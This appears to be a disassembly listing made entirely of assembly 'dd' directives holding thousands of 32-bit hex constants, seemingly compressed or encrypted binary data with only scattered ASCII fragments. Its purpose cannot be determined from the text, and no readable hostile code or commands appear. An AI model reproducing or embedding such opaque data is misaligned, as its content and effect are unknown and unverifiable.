dd 0C7F420B5h, 83D385h, 136C9856h, 646BA8C0h, 62F97A00h
dd 65C9ECFDh, 5C4F008Ah, 6CD91401h, 3DE26306h, 0F5FA0F00h
dd 0C88D080Dh, 3B6E0020h, 4C69105Eh, 600141E4h, 677172D5h
dd 3E4D1A2h, 0D447003Ch, 85FD4B04h, 6B03D20Dh, 0FAA50AB5h
dd 6C35A8A8h, 42B20098h, 0DBBBC9D6h, 0BC1FF940h, 0D840E3ACh
dd 0DF5C7532h, 0DCF0045h, 3D59DCD6h, 0AC07ABD1h, 3A26D930h
dd 8051DE01h, 0C8D7C8h, 0BFD06116h, 21B4F4B5h, 0B3C42300h
dd 0BA959956h, 0A50F07CFh, 209EB8BDh, 88082802h, 0B25F0500h
dd 24C60CD9h, 0B10B00E9h, 2F6F7C87h, 68004C11h, 611DAB58h
dd 2D3DC1h, 4190B666h, 710676DCh, 0BC01DB00h, 2A98D220h
dd 0EFD50710h, 0E0B18589h, 6B6B51Fh, 0BFE4A500h, 0B8D4339Fh
dd 0C9A203E8h, 0F9347807h, 0A88E0F80h, 18960900h, 0BBE10E98h
dd 7F6A000Dh, 86D3D2Dh, 64006C97h, 635C0191h, 7151F4E6h
dd 61623E6Bh, 30D81C81h, 0C34E8565h, 95EDF2D0h, 7B00067Dh
dd 0C11B01A5h, 8208F4h, 0F50FC457h, 65B0D9C6h, 0B7E95000h
dd 0BEB8EA12h, 887C008Bh, 1DDFFCB9h, 490762DDh, 0F315DA2Dh
dd 658CD3D0h, 0FBD4014Ch, 4DB26158h, 3A2D20CEh, 0BC007470h
dd 0BB30E2A3h, 6A541D4h, 95D74ADFh, 0C400C4D8h, 0F4FBA4D1h
dd 6AD3D6h, 0FC4369E9h, 46346ED9h, 0AD678800h, 0DA60B8D0h
dd 42D0073h, 31DE544h, 4C005F33h, 7CC9AA0Ah, 1E3CDD0Dh
dd 43500571h, 10270241h, 86BE0B88h, 0C90C2000h, 5768B525h
dd 6F853DB3h, 66D40900h, 61E49FB9h, 0F90ECE00h, 0C9985EDEh
dd 22293AD9h, 0B4B0D080h, 17C7D7A8h, 59B33D07h, 2EA00D81h
dd 0BD5C3Bh, 0BA6CADB7h, 0B88320C0h, 0B3B6ED01h, 0E20C9ABFh
dd 0D2D403D9h, 397401B1h, 0AFEAD547h, 159DE477h, 4DB2600h
dd 73DC1683h, 630B0012h, 643B84E3h, 6A073E94h, 5AA80D6Dh
dd 0CFF07A57h, 79DE40Eh, 279309FFh, 0B10A00AEh, 7D3D079Eh
dd 0F00F0044h, 8708A3D2h, 1F20068h, 6C2FE1Eh, 57005D69h
dd 67CBF762h, 0F718065h, 0E7196C36h, 766E6BE0h, 0FE00D41Bh
dd 89D32BE0h, 0DA7A5Ah, 0DD4ACC10h, 0B9DF6F67h, 0EF0EF971h
dd 63438EBEh, 0B0D517B7h, 38E860B0h, 7E80D6A3h, 0C4A1D193h
dd 3800D8C2h, 4FDFF252h, 0FBBB67F1h, 0BC57CCh, 0B506DDA6h
dd 0B2364B3Fh, 2BDA4800h, 1B4CD80Dh, 0F6AF0F0Ah, 60C0034Ah
dd 0C341047Ah, 0DF39EF76h, 0A8671D55h, 316E8EC0h, 69BE79h
dd 61B38C46h, 66831ACBh, 0D2A0BC00h, 0E236256Fh, 95520068h
dd 3CC0C77h, 0BB000B47h, 220216B9h, 305262Fh, 0BA3BBE55h
dd 0BDF828C5h, 5A0092B2h, 6A042BB4h, 0A75CB3h, 31C2D7FFh
dd 8BB5D0CFh, 2CD99E00h, 5BDEAE1Dh, 64FCB0h, 63F2269Bh
dd 6AA39CECh, 930A7500h, 6A9026Dh, 3FF609h, 85EB0E36h
dd 13720767h, 5005770h, 95BF4A82h, 0B87A14h, 0B12BAEE2h
dd 0B61B387Bh, 8E9B0C00h, 0BE0D92D2h, 0B7E500D5h, 217CDCEFh
dd 0B3FDBDFh, 86D387D4h, 0F160E242h, 0DDB3F8h, 0DA836E68h
dd 0BE16CD1Fh, 265B8100h, 77E1F6B9h, 46F73B0h, 0E618B747h
dd 707EC05Ah, 0FF000F6Ah, 66063BCAh, 79010B5Ch, 659E0011h
dd 62AE698Fh, 6BF2D3F8h, 0C5614Ch, 0E278166Ch, 0EEA00Ah
dd 54D70DD2h, 0C24E0483h, 3903B300h, 0A7672661h, 601600F7h
dd 69474DD0h, 7700DB49h, 6A4A3E6Eh, 0DCAED1h, 66D9D65Ah
dd 0F040DF0Bh, 37D83B0Fh, 0A9BCC053h, 0BB9EC5h, 0B2CF7FDEh
dd 0B5FFE947h, 0F21C300Eh, 0C28A21BDh, 93E4CABAh, 0A65300B3h
dd 524B4A3h, 0ECFBD036h, 0CD00D706h, 54DE5729h, 0D967BFh
dd 667A2E23h, 614AB8B3h, 1B02C400h, 2B945D68h, 372A006Fh
dd 0A1B40BBEh, 0C37F0C8Eh, 5A05DF00h, 2D02EF8Dh, 8000BA2Eh
dd 1C454704h, 9D2F2054h, 503B7B48h, 302E3103h, 6FD00A0Dh
dd 3A1D7473h, 14712520h, 68E57541h, 3B6972F4h, 0EEF4617Ah
dd 4E26C46Eh, 14C48665h, 1DEA1ADDh, 447004D6h, 0C271C71Ch
dd 553F8C07h, 84C501A7h, 0FF225CFFh, 3F70F50Ch, 1050948Dh
dd 62BF24C4h, 72C43B34h, 5C803024h, 0AC69F08Ch, 46088640h
dd 62C01510h, 80519818h, 4111CA3Ah, 126F070Dh, 4517CA83h
dd 0AA8831F0h, 0BE2E99E2h, 47C45F09h, 424F3E4Ch, 7D48F074h
dd 75507D45h, 43DCFB53h, 0E144F454h, 5E4D319Fh, 2352DF56h
dd 6143E48h, 0DD013703h, 0FA100306h, 6404EE02h, 21050245h
dd 0C2443035h, 28202103h, 758C038h, 7137E008h, 0F1577930h
dd 0A3FC21B8h, 6860A917h, 120367CBh, 3781670h, 6E45B8FFh
dd 0F37FE3Ch, 0F0705CDh, 6E072807h, 6C067507h, 0AA295305h
dd 0FBFE283Fh, 5F171EFBh, 31097279h, 0D66C82Ch, 70786572h
dd 6F6DE039h, 5F246450h, 0C879683Fh, 6311607Ch, 0D6736261h
dd 20831021h, 16663F99h, 0C4178450h, 866F6C10h, 631B11B1h
dd 1BBE6965h, 0A8617411h, 36726FE3h, 1F10BBFFh, 14E87271h
dd 322B6165h, 105A0834h, 0DA3C2F42h, 6834194Bh, 8B2F0846h
dd 82F4508h, 3167B686h, 89811130h, 0FD56C377h, 7EC080D5h
dd 89415001h, 47722080h, 737C49F0h, 816F7228h, 8A87DEEDh
dd 75CA6C46h, 206FCBA3h, 7D6E4A1Ch, 52454B02h, 3365404Eh
dd 6535A032h, 0E530712Bh, 64A82015h, 16904229h, 102909DCh
dd 0EA2908A0h, 0C819102Ah, 8A2D211h, 2D1A3318h, 28A51E10h
dd 19CE7C28h, 0A1389585h, 39182E4Dh, 83D11CDh, 8EA3181Ch
dd 0D0938F44h, 6B4BD18h, 2033B820h, 2CA4BC74h, 10346C33h
dd 72091470h, 6913B375h, 0BCED1C6Dh, 0B6F3CFD1h, 42544C50h
dd 0ED25338h, 45DFFC48h, 2D474E49h, 4F44C00Fh, 4EFC4D50h
dd 520112A5h, 38323036h, 202D128Dh, 6C9E4390h, 6F74901Eh
dd 59394AA4h, 52B07C41h, 7E681CCEh, 90387014h, 12372128h
dd 7CE21B6Eh, 67750A0Fh, 70736468h, 6A489686h, 0A76F166h
dd 5A396977h, 38858B66h, 0C2B4C639h, 38B564C4h, 70893590h
dd 76A49B2Eh, 8D16C769h, 0A668A044h, 0E7246351h, 0A1FD1AB6h
dd 34942852h, 0D25FFC60h, 0BA051956h, 7B2A02Fh, 0E312DD82h
dd 39316038h, 3B39F8AFh, 64B3ED70h, 21A41321h, 0CAE837BBh
dd 1938592Ch, 8ECE5325h, 1A64C982h, 8158B41Ah, 2C1F3724h
dd 0AD20336Dh, 0C0819DB0h, 2218A861h, 306B632Bh, 86DC18CAh
dd 0FE35E535h, 18065FB4h, 6D7244A3h, 70670192h, 0DE9F6782h
dd 0FF9642B6h, 305E3721h, 50395371h, 42AB22F6h, 0E06D5626h
dd 2C485EB4h, 0CFF1D638h, 298475FAh, 51608A73h, 0D62C0461h
dd 6E28DFB5h, 0BCF18367h, 0A83BD50Ch, 58E52725h, 2E904D80h
dd 333AC2D4h, 0D7562C66h, 43AB1079h, 52EDE32Bh, 4C3A9D37h
dd 0E4B562A8h, 0A28A179h, 12175DA3h, 210F2345h, 0D550242Bh
dd 41203A0Ch, 1402DC2Eh, 1BA4E63Ch, 5A344DE1h, 6AA1DA6Bh
dd 0ED840833h, 9F10C45h, 74651747h, 13101D4Ch, 76134B41h
dd 16BFBF0Ah, 28EF5A75h, 42571019h, 4E964A6h, 61E3644Dh
dd 427B677Eh, 7FB7858h, 4E512331h, 11345C6Eh, 854602C3h
dd 19440822h, 0AC185153h
dd 0E2A88C7Dh, 88D50860h, 0F88162F6h, 21C221B4h, 66633210h
dd 76AC648Ch, 6964AAD2h, 0D2672BAh, 8522FB79h, 7E31584Ch
dd 48625B40h, 1A8A142Ch, 8C574320h, 0E0122796h, 0A541C488h
dd 11B80C64h, 5D638AC1h, 0DA55082Bh, 78488328h, 46702A7Bh
dd 730BD0B2h, 9E01E06Dh, 90360B5h, 19930520h, 384208BBh
dd 483C0767h, 5311B5C6h, 0AD100CB9h, 46B13A69h, 306A0A10h
dd 0DAF4090Eh, 6844BB43h, 0DB0CC30Ch, 79013021h, 60F45378h
dd 0E68084Bh, 9009CA02h, 4006DA14h, 2C65299Ch, 482B0211h
dd 4C85C022h, 0D84803C4h, 0E84406FAh, 4C4C5329h, 1B7E0CB1h
dd 797E2484h, 3C344403h, 0F8537029h, 30B658E2h, 705604A4h
dd 143CD014h, 0A9707E78h, 8F9C3018h, 0A81464A9h, 88ACD414h
dd 48F09A02h, 10D2CCF1h, 0A46A908Ch, 1088681Ch, 7F08EF30h
dd 21B447DCh, 4850E4BCh, 3C609E01h, 0F42AB442h, 490B842h
dd 58687829h, 4043DA8Eh, 8160A677h, 904F8828h, 6843ECD1h
dd 1A090CCCh, 1491CC98h, 1C711C68h, 18621811h, 82E4852Ch
dd 0E4990348h, 994C8D9h, 68C774ACh, 80C4C861h, 0A7ECCCD8h
dd 8021BC98h, 0FE240472h, 0E287443Ch, 421C6B10h, 408AF468h
dd 0DEA2A842h, 8F808C38h, 0CADC7715h, 22E5A8A8h, 85C8602Ch
dd 405002E4h, 1860BAE1h, 830888ECh, 31280257h, 71C4196Eh
dd 8144088Ah, 8B825014h, 207019CDh, 0A0AE010Bh, 1524556h
dd 4E4F4953h, 0C76C642Eh, 0B9FF2A84h, 80h, 0C3000000h
dd 40120503h, 88DB3C81h, 23F0EC08h, 0DA320701h, 0B0D0141h
dd 0DF3EC142h, 4F620810h, 0E3140146h, 73A10C41h, 1460E4Fh
dd 80060230h, 42549178h, 189A808h, 6372104Ch, 1B581262h
dd 0C8B0810h, 3307E410h, 32D15945h, 0C7530111h, 414088Eh
dd 0A242EA2h, 6010044Ah, 726F6373h, 3A69743Bh, 7C61C465h
dd 6C12C062h, 34762037h, 0E72E18DBh, 2A6D88AAh, 2E343887h
dd 71634169h, 75548F66h, 0A5325B6Dh, 46231803h, 0AD4B8B41h
dd 644A201Ch, 31E7482Eh, 476EAFBFh, 26BA6732h, 77F02448h
dd 0C76E7869h, 0DE6376D5h, 10F478AEh, 0E745F9Ch, 19996162h
dd 6F398157h, 53207377h, 0F163409Ch, 0B867410Eh, 242D2934h
dd 6879393Fh, 2D0725AEh, 7CEA2B78h, 0A1046694h, 2099D0h
dd 9009C8B0h, 50227091h, 666F5300h, 72617774h, 4D5C0E65h
dd 0D3D46369h, 5F541D6Fh, 754306DEh, 0B6CD3072h, 69F0CC56h
dd 52FDF16Fh, 87A0E6FFh, 0A127D230h, 0A1A3BA76h, 4C4FD038h
dd 59314567h, 4D755427h, 707D3C67h, 6C3C36D3h, 0B863C70h
dd 12904CF0h, 0C79423E1h, 70117468h, 77C52F3Ah, 662E028Dh
dd 33C7C764h, 0F8247462h, 2F40446Eh, 7576787Ah, 0DCF3E773h
dd 31C90487h, 0E0534035h, 20092230h, 890C1444h, 98FC1104h
dd 0E824F402h, 0D891E048h, 0C444D022h, 12B489BCh, 48A424A8h
dd 7C5BF9Ch, 43DBF201h, 9491549Fh, 7C448822h, 12688974h
dd 485C2460h, 22549158h, 444C4450h, 34133C89h, 442C0922h
dd 8891420h, 0F8880817h, 22F01197h, 0D8E044E8h, 0D098118Ah
dd 9C81199h, 24B812C0h, 8CAC50ACh, 0F99C11A4h, 0CC94D458h
dd 84098C11h, 78127C89h, 68487424h, 50225C91h, 893C4844h
dd 24301234h, 911C4828h, 440C2214h, 966CFC04h, 89EC09A1h
dd 24E412E8h, 91DC48E0h, 44D422D8h, 0C089C8D0h, 0B024B812h
dd 0A091A848h, 98449C22h, 4414A690h, 7C898488h, 70247812h
dd 60916848h, 91545829h, 44482250h, 28893440h, 14242012h
dd 4910C48h, 3295FC10h, 24F409F8h, 91E448ECh, 45D022DCh
dd 0B8B848C0h, 9B011CCh, 129489A4h, 4878248Ch, 19CCA974h
dd 9168116Ch, 50226409h, 0E8484445h, 3811CC40h, 28893009h
dd 1C242012h, 10911448h, 11E10822h, 0F00294F8h, 0E448E824h
dd 0D81F5CA9h, 0FC714826h, 10323037h, 0C6696909h, 0D665D161h
dd 126C1086h, 0B8FB6DE0h, 8FAC5924h, 3C73EE70h, 6B2B6219h
dd 381121A6h, 4C592AD9h, 0B090F749h, 0AF187037h, 0C8696B84h
dd 19D368FDh, 6D655305h, 416D2187h, 717032DFh, 7DE26420h
dd 632E74C6h, 68A04E69h, 886D6233h, 75BB7F72h, 0BB1AA374h
dd 600AB571h, 2E52126Fh, 4E201614h, 15316264h, 8343332h
dd 3C610866h, 655294FFh, 8277372Dh, 141651FDh, 0A21C8711h
dd 264AFB10h, 106E0C42h, 652863AEh, 0DA02084Bh, 3A5A2048h
dd 280C3210h, 0C5BDB4C8h, 0C3BCBAE2h, 0BC5266FCh, 75FE0878h
dd 628E2091h, 6863E669h, 0EE667F11h, 3616E16Bh, 3B1E1ED4h
dd 891CD567h, 27756BD2h, 28EC7408h, 0FD2A906Eh, 569A4146h
dd 0C426367h, 72D4116Ch, 6B307950h, 3288BCA2h, 0B4404808h
dd 4A97108Ch, 7AA9ED7Dh, 12689A38h, 54D2380Fh, 0A67B9F94h
dd 32E3EB90h, 612E6242h, 75734883h, 28083695h, 386D14CDh
dd 48536BE1h, 5974FA70h, 6F6A0400h, 6DC88C68h, 41186952h
dd 65D419BCh, 0B7444D95h, 794F2E40h, 97E36246h, 0B777102h
dd 6EE9D0Dh, 0D7F936AAh, 32FC88D4h, 9A02306Bh, 0A20C4CD4h
dd 320810EFh, 39238C6Bh, 0B8592E38h, 8B6D9664h, 9A1968C6h
dd 8838220h, 3095985h, 0EAE7F768h, 80A720Ch, 7536BD98h
dd 675770BCh, 3392690Ch, 90524990h, 8451BD7h, 3AA01BF5h
dd 543F87FCh, 649CD56Bh, 72B04408h, 6E469174h, 65383775h
dd 5E12761Eh, 70745D83h, 219693EFh, 0A26C1868h, 11DB7875h
dd 4678CFC0h, 6F423064h, 0ACCAED7Fh, 0AA736220h, 34F1256Ch
dd 3B330832h, 3B3172DCh, 9A8824D4h, 37360F35h, 0CF43938h
dd 847308B7h, 0C2080D39h, 8678433h, 0DC209CDh, 50ACB019h
dd 0E1647770h, 890C432h, 0AE482846h, 0FC49AED5h, 1E0C64A4h
dd 6D26FB3Ch, 223296E8h, 1C626358h, 62F1F444h, 8FECD114h
dd 2310D266h, 0D6673ADFh, 0A65055E5h, 0F8C8E067h, 4B686832h
dd 75323535h, 85E6524Eh, 0C8A134A5h, 439B75C0h, 0F6F97538h
dd 0DBA91C46h, 0E146C766h, 7308443Dh, 3CB7F58Eh, 720C3AFEh
dd 1CB4EC8Eh, 1E2386E4h, 10A22C87h, 520049FCh, 36762043h
dd 0EC31322Eh, 81AF904Bh, 4DF564BEh, 0BD001A61h, 0F6422D6Dh
dd 204EE179h, 31F03023h, 70EE8F37h, 40532AF8h, 0DD204E92h
dd 7B34032Dh, 3A069102h, 20F0F179h, 0A2617C46h, 55A70F2Fh
dd 796848F8h, 2C1F5E9Bh, 101F08B5h, 3CC13ADFh, 2E3E6425h
dd 5534B6C2h, 0ACDF2453h, 0AF1966C7h, 5C1EF3D2h, 745850D9h
dd 54315A9Ch, 70CC2C33h, 7352637Ah, 5641E05Fh, 57463F2Fh
dd 0B79F6BACh, 0F60AFB83h, 6C641498h, 8401DB9h, 0A28C4B30h
dd 684263C4h, 4B2446F2h, 2304C612h, 22B78442h, 0ABD1655Dh
dd 0FF253E38h, 22DB92DCh, 0C0D9D0Eh, 1414065Ch, 300075Ch
dd 2D312C38h, 58723456h, 21D1E16Ch, 9CA0A303h, 0C753A36h
dd 4B43494Eh, 0A060D15h, 52455355h, 0CA30F813h, 30113A05h
dd 53415038h, 89830DE3h, 45444F4Dh, 700F3F46h, 4F482FA0h
dd 11AC54EAh, 55126485h, 2B3A4D4Ah, 0EA380F2Eh, 20A181D5h
dd 0DEDD50E4h, 52B752E6h, 2090C070h, 3E4E2AA2h, 0E08346B0h
dd 78A84848h, 796662F4h, 65A228A0h, 42290621h, 544F4E2Ch
dd 628EB688h, 2584483Ah, 92662241h, 8283236h, 995C5495h
dd 0F954235Ah, 528C7159h, 67EA7476h, 36869E08h, 31F55864h
dd 0A1CE1D04h, 50E52CB1h, 802F5174h, 62D87E2Bh, 4A506152h
dd 39966D77h, 0BE2E6B1Fh
dd 0A02982C8h, 9D215251h, 6222A259h, 0C7728374h, 4A6413A1h
dd 9D6DA328h, 0A54E202Ch, 33EB2965h, 447327D2h, 4AE36893h
dd 3C72686Fh, 6C10B226h, 0A8B423B2h, 20AD74ECh, 57D92C9h
dd 0C52477D4h, 0DA26C09Dh, 0CDEEF17Eh, 49F62402h, 2B1AF43Ah
dd 0E8912C3Ch, 0A124D7BDh, 8676F4Eh, 0F0402743h, 3B4F9666h
dd 0C6282EABh, 7071E453h, 624644FBh, 0E14C2851h, 0DCC8A3F3h
dd 2466344Ch, 0FB227869h, 500924F4h, 61DEA73h, 0F2C8434Eh
dd 276E2664h, 96AA3406h, 26FB6402h, 0CD2443B3h, 20162D46h
dd 0CBD0A5ECh, 8A97343Ah, 0B6DE44A0h, 95E866E9h, 69FD731Eh
dd 6EFA1960h, 0F435C771h, 4C27280Fh, 70752002h, 3EFA5BC6h
dd 38AC2793h, 0B876BC72h, 0B8FAB2DEh, 1D46FBA8h, 9C4AE3B0h
dd 50CA3043h, 9A314B1Ch, 42DC4B64h, 0FF42B950h, 23309544h
dd 0C8234850h, 203DA924h, 0D2447623h, 2D575210h, 61E00D91h
dd 46BC4D09h, 46493044h, 962CCB65h, 402E5348h, 60624CC9h
dd 766ECC34h, 32744D20h, 0CAB47472h, 9F0E6B21h, 61402372h
dd 364C5255h, 12EE907Ch, 9D676372h, 0B95376AFh, 7455875Dh
dd 0CE6CF31Ch, 6FCDEF2Dh, 54472136h, 646D630Ah, 2273593Bh
dd 0CA18D028h, 51488745h, 91BE583Fh, 0B09E7FB1h, 53915A2Ah
dd 9BF06EA5h, 24BC48ECh, 633A6B7Ch, 2017FE32h, 5ED8AA25h
dd 555858ACh, 9C6B506Eh, 0BA90FB77h, 79740964h, 95509A70h
dd 48D72C27h, 5924AB87h, 0C51CA04Eh, 6B12C198h, 28D7965h
dd 6EF29028h, 4B101CACh, 7383ADAh, 45DA411Bh, 2474CE3Eh
dd 7FA32411h, 3533763Dh, 6712DE30h, 91A328E1h, 6840E847h
dd 4447D1D4h, 5D05C9C6h, 0E45C2891h, 88628382h, 0AE4EBEE9h
dd 8772AD78h, 0DCE32A19h, 5DA16D99h, 222CD948h, 0A9409490h
dd 5069B502h, 8BB783E4h, 707D9D65h, 0A400D121h, 0A267736Dh
dd 4C1C3E18h, 1BD05D41h, 0C268B3B4h, 0B06C6379h, 4E4150DCh
dd 24242E52h, 36A5934Dh, 0CD609605h, 8D442250h, 0F123B86Ch
dd 4A4A635Ch, 68282955h, 47287A1Ch, 441A521Dh, 0B942434h
dd 4A502448h, 4E49274Fh, 184BC81Bh, 0A475CC74h, 15204CCDh
dd 0B133E667h, 0B466D151h, 4CDEDEA4h, 12B43CD0h, 0D557262Ch
dd 4787099Dh, 53DC2EC8h, 0E3E975D2h, 0F4694F69h, 0A4543C6Ch
dd 3B61F10Bh, 6D70A8DAh, 71282865h, 2C2E5929h, 524D70B3h
dd 118492B2h, 9FE21CC4h, 0BBA73C48h, 945948E2h, 183408D2h
dd 2DCAB254h, 7C147961h, 733A0389h, 70758598h, 8154A6E1h
dd 491DAAF3h, 756DC944h, 8462A6A4h, 66A70EAFh, 3858D434h
dd 6134E290h, 0D675E8F9h, 5F5D578Ah, 54482E8Ah, 0E14B27A5h
dd 0C3476E97h, 0A02A1FA9h, 6159263Ch, 2162093Dh, 2C867644h
dd 52126282h, 6D5A2A8Ch, 29ADB99Bh, 22E3DB28h, 6317CB38h
dd 1CA3C195h, 83B54CE9h, 5011DD11h, 3B2E259Eh, 1F6A68ECh
dd 0F7ED76B6h, 46F90C48h, 3C38E4B4h, 942CAA53h, 0EA7F96D7h
dd 741CA7B2h, 24942C86h, 6AB289D2h, 0A56B593Eh, 0E9874BEh
dd 24706D28h, 766E4913h, 6453021Fh, 52EB6D29h, 67CAA260h
dd 0F00AA59Bh, 6D30C5A0h, 0E9AD2338h, 124D380Fh, 297688D6h
dd 657215B1h, 3ACBBEB4h, 371A41CDh, 3C28B47Ch, 5FBFA643h
dd 5BA15664h, 6069489Bh, 0A7C6EEEEh, 1EEF2C38h, 74D0EB6Fh
dd 0D08D388Eh, 2996F824h, 7D7FE83Fh, 76E4B379h, 0BE6771D0h
dd 0CA773044h, 0DDD06B1Ch, 0B2AC3823h, 0F73198D6h, 129B1847h
dd 0A769D9EFh, 569BB814h, 767278A1h, 0E959BD72h, 0CFA4E447h
dd 899993A0h, 901E97A7h, 273A8ADBh, 0EB9D6308h, 3F271C23h
dd 0C144A1ECh, 5D504354h, 0DD9CF738h, 92146233h, 0DA7F3650h
dd 0E40EC15h, 4E404353h, 65F3B2B2h, 0DC1263ECh, 2F467DA7h
dd 0F469771Ah, 257F24B3h, 266D2825h, 55365B78h, 3EED825Dh
dd 10444077h, 101BD02Ah, 434101C0h, 4F4B4954h, 9BAD8F5Eh
dd 0B9BB6948h, 74A0311Dh, 3C484CAFh, 0A1A51D72h, 166A7AA2h
dd 886BFE04h, 8A9C7274h, 922D2DB2h, 87F034EFh, 381CD287h
dd 9F86E0D1h, 92AAE9A1h, 3761D12Dh, 666F1A53h, 0A46D45F3h
dd 6C1E6D7Ch, 9175206Dh, 0CDC54B7Ch, 0A048F024h, 0C52C9255h
dd 50E083E0h, 0A8701831h, 5CCA6669h, 5C342161h, 2AB041A4h
dd 19B95EB8h, 664258A9h, 76BFE674h, 4B9F9955h, 21938794h
dd 4295332Dh, 6ED305Eh, 6F944928h, 0C6E92D47h, 495EBE31h
dd 41C8DCAh, 14A2089Dh, 65796284h, 0F161A6F4h, 69D8322Fh
dd 642E0281h, 70B4C66Ch, 624986BEh, 691754D7h, 34D539BBh
dd 69FC6D85h, 9425CEA2h, 966DDCF7h, 1662D3FBh, 65031F14h
dd 9A79F184h, 84274B3Ah, 0C4DB7085h, 0E53835B4h, 70C65CD8h
dd 0CB428FB5h, 0F0DC1674h, 1210AB50h, 267A69A0h, 44598D24h
dd 4823E442h, 88676B6Eh, 3C4D6719h, 67611F1Ch, 0B697E565h
dd 755B8133h, 0EE660288h, 0A579706Ch, 7BB84834h, 9E22541h
dd 12B21D43h, 340869B1h, 16914EF9h, 651A4E53h, 5E589A5Ch
dd 256B13B2h, 1F69ECC1h, 46AD7839h, 6C4AED86h, 35A4EC90h
dd 69F83365h, 708D1B4Eh, 5B4BCF27h, 49801D9Eh, 50484D43h
dd 90CC93CBh, 0DAA7AA76h, 0B5D09BDEh, 0F4D0DA53h, 75693865h
dd 9F8111A3h, 72C87E2Eh, 6A9F09A9h, 0A8747D14h, 6A634F74h
dd 0E5389027h, 9ADD4A6h, 0C9486838h, 59F66566h, 7C612A4Eh
dd 569A7053h, 0B437D466h, 2C707988h, 7282DB0Bh, 5A4B8A76h
dd 6E6B7094h, 0F617A368h, 0E61769D4h, 0BE6D55E4h, 34926E26h
dd 0D632F965h, 18633CF2h, 8A4E7224h, 890ACC92h, 0BA3A4C2Dh
dd 0A20A7AECh, 0E2D0886h, 0EBAC526Bh, 5162A030h, 446C816Ah
dd 64BB259Fh, 2E7E07CEh, 32B765E0h, 4BC28F1h, 64A0B421h
dd 434E5618h, 0E254484Ch, 273EEB50h, 42D3D9E3h, 45295417h
dd 0D764177Fh, 0B47A0BDAh, 62246FE9h, 41670824h, 98274BADh
dd 21690858h, 0A098CADh, 99185860h, 5727608h, 0C20C706Dh
dd 1CA0405Bh, 44F15FFCh, 0C51B504h, 6D537010h, 108D4A08h
dd 0A6719B7h, 0B65ACB30h, 10E84C96h, 5A414E01h, 136F4C45h
dd 345C9462h, 74BD0A98h, 0DCC4C90Ch, 0CBE779F4h, 0BB64A9FCh
dd 1BE77969h, 412C1352h, 9A10570h, 0F8C469FCh, 4736926h
dd 134A2892h, 0A1D58929h, 0AD453D3Ch, 53102F18h, 0C5E5174h
dd 8A38C6EFh, 387E2A0Ch, 89A36C97h, 290C5C5Bh, 4F8DA108h
dd 3C2B7649h, 10D6B064h, 7981E5h, 54128D0h, 19C5F79h, 45444148h
dd 0B433D554h, 38B22BB0h, 70723962h, 9EEA3C8Bh, 0A5734049h
dd 0D5184CD6h, 8D4A7C10h, 4B44D8Ch, 0CD45004h, 3FE96A22h
dd 750CF810h, 81C1448Ah, 0BD146D0Ch, 720C4027h, 77D1058Ah
dd 0BC229C24h, 0D4048E79h, 91E5D791h, 28921622h, 2BD2610Ah
dd 71353CE1h, 1EDC59EAh, 0E809746Bh, 0D1974BFFh, 80D6827h
dd 0DD82352Eh, 533C3A28h, 9F139D75h, 1C9C2ECAh, 3BB9D798h
dd 0FDB4BC49h, 0E0F0DF6h, 21D74E2Ch, 0BAA5F05Dh, 208F84BEh
dd 53194EA7h, 53C96C64h, 0AA729787h, 201DF241h, 8C684121h
dd 4A381948h, 174E28B3h, 2F94E3A8h, 36FEC261h, 7AE69540h
dd 2021628Dh, 91621CF2h, 494CA383h, 1295A01Ch, 0B5BA6BF3h
dd 3233EE81h, 5A923E2Ch, 103B4DF6h, 93F889A5h, 6C326F89h
dd 0C85C766Bh, 0F4D24B08h, 0AED89EB7h, 2DE89373h, 208D534Eh
dd 5AC4ECA7h, 2E5ACC73h, 9EB528F2h, 0F5178E5Bh, 8F5E585Fh
dd 507FF764h
dd 932C42BAh, 56B46DB2h, 0EA28291Ch, 0E148685Eh, 8686DAE9h
dd 0A3ED8F12h, 7229682Ch, 3C68F215h, 0A1F115DAh, 0EC6D2571h
dd 78695365h, 37D09B2Dh, 0D0F8A6D7h, 0F92BB468h, 344E1C43h
dd 0F70D5100h, 338743CAh, 0EA24761Ch, 0E154E265h, 29422C5Bh
dd 46AFE794h, 0FBF7D03Ch, 6AF47843h, 943046FDh, 8C63B9F4h
dd 10942045h, 406B0472h, 63284094h, 0C2FF046Dh, 71A5B0D6h
dd 0D10B428h, 6A197610h, 9811F826h, 5504827Dh, 0AE672099h
dd 4205C0Dh, 0C8B18A9Ah, 99C9CC2Ch, 0C497048h, 4CA0113Ah
dd 46E6414h, 0F5587338h, 0C4CC6F8Bh, 729408B1h, 5ED55B04h
dd 402D4CC9h, 122C9993h, 486710Ch, 5084FA75h, 949C26ACh
dd 3270779Bh, 6E496A29h, 0AF204CC5h, 5687E295h, 1764459Fh
dd 92F2A3A3h, 2E36EDE3h, 57825802h, 5955A64h, 0C75A67CDh
dd 0C85F5414h, 0E0F1C90Fh, 56495200h, 9F47534Dh, 8A1A214h
dd 1B144F78h, 77AB6601h, 92CAF56h, 47D67601h, 0E418156Fh
dd 2BA069E5h, 0FEEAE58Dh, 9C71F23Ch, 76CF092Dh, 204B4948h
dd 34A568C3h, 68FF74FAh, 43714448h, 4E45F0F3h, 5A1CA4EFh
dd 3A36F24h, 8EB77020h, 0AAD21214h, 0AFBB592Fh, 0A49DA8EEh
dd 688D69ACh, 1F04510Dh, 0CD052ADh, 3758744Bh, 683F0A18h
dd 5221B44Ch, 0A10C3408h, 283819EEh, 0A4B8D0FAh, 59FEC83Dh
dd 0CDB048E8h, 63244C0Ah, 2DA018ADh, 6D745F50h, 0CD26B893h
dd 0D39E1AA7h, 2EAF2BD2h, 7A5449BAh, 9BAF34E8h, 0B402429Eh
dd 7C6EA699h, 0EE2F9E54h, 222E6EDEh, 1808247Ah, 8C7C7A14h
dd 0B7E1F85Ah, 1BA1FE9Dh, 6880EFA5h, 0EFFE5A40h, 25917BCBh
dd 0D35C8D2Dh, 1259C4F4h, 0A6767ABh, 3CE7692Ch, 7B53DEBAh
dd 856C3EC9h, 2F73B292h, 7C281265h, 2C3E7270h, 68561C82h
dd 736E6189h, 9C39A06Bh, 0A2721643h, 420A49F7h, 562A3803h
dd 0A856B46Ch, 6C153AA7h, 0E2B47679h, 0A8CF5F74h, 0E24B6643h
dd 0E586D9Eh, 758B5ABBh, 5DF1626Dh, 0AE30EF2Dh, 0C5DA2534h
dd 0AABB6595h, 15338A19h, 106FAD2Ch, 4FE15096h, 426B28E3h
dd 49563C91h, 7BE255A8h, 227A6226h, 6A22158h, 0CDC3562Eh
dd 5274B47Bh, 95EDA690h, 2A212824h, 2D2E3240h, 0FF4FFA48h
